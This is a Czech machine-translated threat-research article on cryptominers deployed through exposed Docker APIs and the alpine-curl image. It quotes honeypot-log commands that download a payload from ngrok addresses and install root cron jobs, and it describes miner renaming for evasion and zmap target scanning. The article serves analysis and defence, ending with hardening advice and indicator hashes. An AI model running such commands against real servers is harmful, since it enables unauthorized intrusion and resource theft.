Jak se nesoukromé Docker API a veřejné obrázky z komunity používají k distribuci těžařů kryptoměn

Jak se nesoukromé Docker API a veřejné obrázky z komunity používají k distribuci těžařů kryptoměn

Shromážděná data jsme analyzovali pomocí kontejnerů honeypot, které jsme vytvořili pro sledování hrozeb. A pomocí komunitně publikovaného obrazu na Docker Hub jsme odhalili významnou aktivitu nechtěných nebo neautorizovaných těžařů kryptoměn nasazených jako nepoctivé kontejnery. Obrázek se používá jako součást služby, která poskytuje škodlivé těžaře kryptoměn.

Navíc jsou nainstalovány programy pro práci se sítěmi, které pronikají do otevřených sousedních kontejnerů a aplikací.

Naše honeypoty necháváme tak, jak jsou, tedy s výchozím nastavením, bez jakýchkoliv bezpečnostních opatření či následné instalace dalšího softwaru. Vezměte prosím na vědomí, že Docker má doporučení pro počáteční nastavení, aby se zabránilo chybám a jednoduchým zranitelnostem. Ale používané honeypoty jsou kontejnery navržené k detekci útoků zaměřených na kontejnerizační platformu, nikoli na aplikace uvnitř kontejnerů.

Zjištěná škodlivá aktivita je také pozoruhodná, protože nevyžaduje zranitelnosti a je také nezávislá na verzi Dockeru. Nalezení nesprávně nakonfigurovaného, ​​a tedy otevřeného obrazu kontejneru je vše, co útočníci potřebují k infikování mnoha otevřených serverů.

Neuzavřené rozhraní Docker API umožňuje uživateli provádět širokou škálu týmy, včetně získání seznamu spuštěných kontejnerů, získání protokolů z konkrétního kontejneru, spuštění, zastavení (včetně nuceného) a dokonce vytvoření nového kontejneru z konkrétního obrazu se zadanými nastaveními.

Jak se nesoukromé Docker API a veřejné obrázky z komunity používají k distribuci těžařů kryptoměn
Vlevo je způsob doručení malwaru. Vpravo je prostředí útočníka, které umožňuje vzdálené stahování obrázků.

Jak se nesoukromé Docker API a veřejné obrázky z komunity používají k distribuci těžařů kryptoměn
Distribuce 3762 otevřených Docker API podle země. Na základě vyhledávání Shodan ze dne 12.02.2019

Možnosti útočného řetězu a užitečného zatížení

Škodlivá aktivita byla odhalena nejen pomocí honeypotů. Data ze Shodan ukazují, že počet odhalených rozhraní API Docker (viz druhý graf) se zvýšil od doby, kdy jsme zkoumali nesprávně nakonfigurovaný kontejner používaný jako most k nasazení softwaru pro těžbu kryptoměn Monero. V říjnu loňského roku (2018, aktuální údaje můžete vypadat takto Cca. překladatel) bylo pouze 856 otevřených API.

Zkoumání protokolů honeypotu ukázalo, že použití obrázku kontejneru bylo také spojeno s použitím ngrok, nástroj pro navazování zabezpečených spojení nebo přesměrování provozu z veřejně přístupných bodů na určené adresy nebo zdroje (například localhost). To umožňuje útočníkům dynamicky vytvářet adresy URL při doručování dat na otevřený server. Níže jsou uvedeny příklady kódu z protokolů ukazujících zneužívání služby ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Jak vidíte, nahrané soubory se stahují z neustále se měnících adres URL. Tyto adresy URL mají krátké datum vypršení platnosti, takže po datu vypršení nelze datové části stahovat.

Existují dvě možnosti užitečného zatížení. První je zkompilovaný ELF miner pro Linux (definovaný jako Coinminer.SH.MALXMR.ATNO), který se připojuje k těžebnímu fondu. Druhým je skript (TrojanSpy.SH.ZNETMAP.A) určený k získání určitých síťových nástrojů používaných ke skenování rozsahů sítě a následnému hledání nových cílů.

Skript dropper nastaví dvě proměnné, které se pak použijí k nasazení těžaře kryptoměn. Proměnná HOST obsahuje adresu URL, kde se nacházejí škodlivé soubory, a proměnná RIP je název souboru (ve skutečnosti hash) těžaře, který má být nasazen. Proměnná HOST se změní pokaždé, když se změní hash proměnná. Skript se také snaží zkontrolovat, zda na napadeném serveru neběží další těžaři kryptoměn.

Jak se nesoukromé Docker API a veřejné obrázky z komunity používají k distribuci těžařů kryptoměn
Příklady proměnných HOST a RIP a také úryvek kódu používaný ke kontrole, zda neběží žádné jiné těžaře

Před spuštěním mineru se přejmenuje na nginx. Jiné verze tohoto skriptu přejmenují těžař na jiné legitimní služby, které mohou být přítomny v prostředích Linuxu. To obvykle stačí k obcházení kontrol proti seznamu běžících procesů.

Vyhledávací skript má také funkce. Pracuje se stejnou službou URL pro nasazení potřebných nástrojů. Mezi nimi je binární zmap, který slouží ke skenování sítí a získávání seznamu otevřených portů. Skript také načte další binární soubor, který se používá k interakci s nalezenými službami a přijímá z nich bannery pro určení dalších informací o nalezené službě (například její verzi).

Skript také předem určuje některé rozsahy sítě, které se mají skenovat, ale to závisí na verzi skriptu. Před spuštěním kontroly také nastaví cílové porty ze služeb – v tomto případě Docker.

Jakmile jsou nalezeny možné cíle, bannery jsou z nich automaticky odstraněny. Skript také filtruje cíle v závislosti na službách, aplikacích, komponentách nebo platformách, které vás zajímají: Redis, Jenkins, Drupal, MODX, Kubernetes Master, klient Docker 1.16 a Apache CouchDB. Pokud se naskenovaný server s některou z nich shoduje, uloží se do textového souboru, který mohou útočníci později použít pro následnou analýzu a hackování. Tyto textové soubory se nahrávají na servery útočníků prostřednictvím dynamických odkazů. To znamená, že pro každý soubor se používá samostatná adresa URL, což znamená, že následný přístup je obtížný.

Vektor útoku je obrázek Dockeru, jak je vidět na následujících dvou částech kódu.

Jak se nesoukromé Docker API a veřejné obrázky z komunity používají k distribuci těžařů kryptoměn
Nahoře je přejmenování na legitimní službu a dole je způsob, jakým se zmap používá ke skenování sítí

Jak se nesoukromé Docker API a veřejné obrázky z komunity používají k distribuci těžařů kryptoměn
Nahoře jsou předdefinované rozsahy sítí, dole pak konkrétní porty pro vyhledávání služeb včetně Dockeru

Jak se nesoukromé Docker API a veřejné obrázky z komunity používají k distribuci těžařů kryptoměn
Snímek obrazovky ukazuje, že obrázek alpine-curl byl stažen více než 10 milionůkrát

Na základě Alpine Linux a curl, nástroji CLI s efektivním využitím zdrojů pro přenos souborů přes různé protokoly, můžete vytvořit Obrázek dockeru. Jak můžete vidět na předchozím obrázku, tento obrázek byl stažen již více než 10 milionůkrát. Velký počet stažení může znamenat použití tohoto obrázku jako vstupního bodu; tento obrázek byl aktualizován před více než šesti měsíci; uživatelé nestahovali jiné obrázky z tohoto úložiště tak často. V Dockeru místo vstupu - sada instrukcí používaných ke konfiguraci kontejneru pro jeho spuštění. Pokud jsou nastavení vstupního bodu nesprávná (například je kontejner ponechán otevřený z internetu), lze obrázek použít jako vektor útoku. Útočníci jej mohou použít k doručení užitečného zatížení, pokud zjistí, že špatně nakonfigurovaný nebo otevřený kontejner zůstal nepodporovaný.

Je důležité si uvědomit, že tento obrázek (alpine-curl) sám o sobě není škodlivý, ale jak můžete vidět výše, lze jej použít k provádění škodlivých funkcí. Podobné obrázky Dockeru lze také použít k provádění škodlivých činností. Kontaktovali jsme Docker a spolupracovali s nimi na tomto problému.

Doporučení

Nesprávné nastavení zbytky neustálý problém pro mnoho společností, zejména ty, které implementují devops, zaměřené na rychlý vývoj a dodání. Vše umocňuje nutnost dodržování pravidel auditu a monitorování, nutnost hlídat důvěrnost dat a také obrovské škody z jejich nedodržování. Začlenění automatizace zabezpečení do životního cyklu vývoje vám nejen pomůže najít bezpečnostní díry, které by jinak mohly zůstat neodhaleny, ale také vám pomůže snížit zbytečnou pracovní zátěž, jako je spouštění dalších sestavení softwaru pro každou zjištěnou zranitelnost nebo nesprávnou konfiguraci po nasazení aplikace.

Incident, o kterém se hovoří v tomto článku, zdůrazňuje nutnost vzít v úvahu bezpečnost od začátku, včetně následujících doporučení:

  • Pro systémové administrátory a vývojáře: Vždy zkontrolujte nastavení API a ujistěte se, že je vše nakonfigurováno tak, aby přijímalo pouze požadavky z konkrétního serveru nebo interní sítě.
  • Dodržujte zásadu nejmenších práv: zajistěte, aby obrazy kontejnerů byly podepsány a ověřeny, omezte přístup ke kritickým komponentám (služba spouštění kontejnerů) a přidejte šifrování do síťových připojení.
  • Následovat doporučení a umožnit bezpečnostní mechanismy, např. od společnosti Docker a vestavěný bezpečnostní prvky.
  • Použijte automatizované skenování runtime a obrázků k získání dalších informací o procesech běžících v kontejneru (například k detekci spoofingu nebo hledání zranitelností). Kontrola aplikací a monitorování integrity pomáhají sledovat abnormální změny na serverech, souborech a systémových oblastech.

Trendmicro pomáhá týmům DevOps bezpečně budovat, rychle zavádět a spouštět kdekoli. Trend Micro Hybridní cloudové zabezpečení Poskytuje výkonné, efektivní a automatizované zabezpečení napříč kanálem DevOps organizace a poskytuje ochranu před několika hrozbami XGen k ochraně fyzické, virtuální a cloudové pracovní zátěže za běhu. Přidává také zabezpečení kontejneru s Hluboké zabezpečení и Hluboké zabezpečení Smart Check, které skenují obrazy kontejnerů Docker na výskyt malwaru a zranitelností v jakémkoli bodě vývojového kanálu, aby se zabránilo hrozbám před jejich nasazením.

Známky kompromisu

Související hash:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Na Docker video kurz Cvičící řečníci ukazují, jaká nastavení je třeba provést jako první, aby se minimalizovala pravděpodobnost nebo se zcela předešlo výskytu výše popsané situace. A to 19. – 21. srpna na online intenzivní Nástroje a cheaty DevOps O těchto a podobných bezpečnostních problémech můžete diskutovat s kolegy a praktickými učiteli u kulatého stolu, kde se každý může ozvat a vyslechnout si bolesti a úspěchy zkušených kolegů.

Zdroj: www.habr.com

Přidat komentář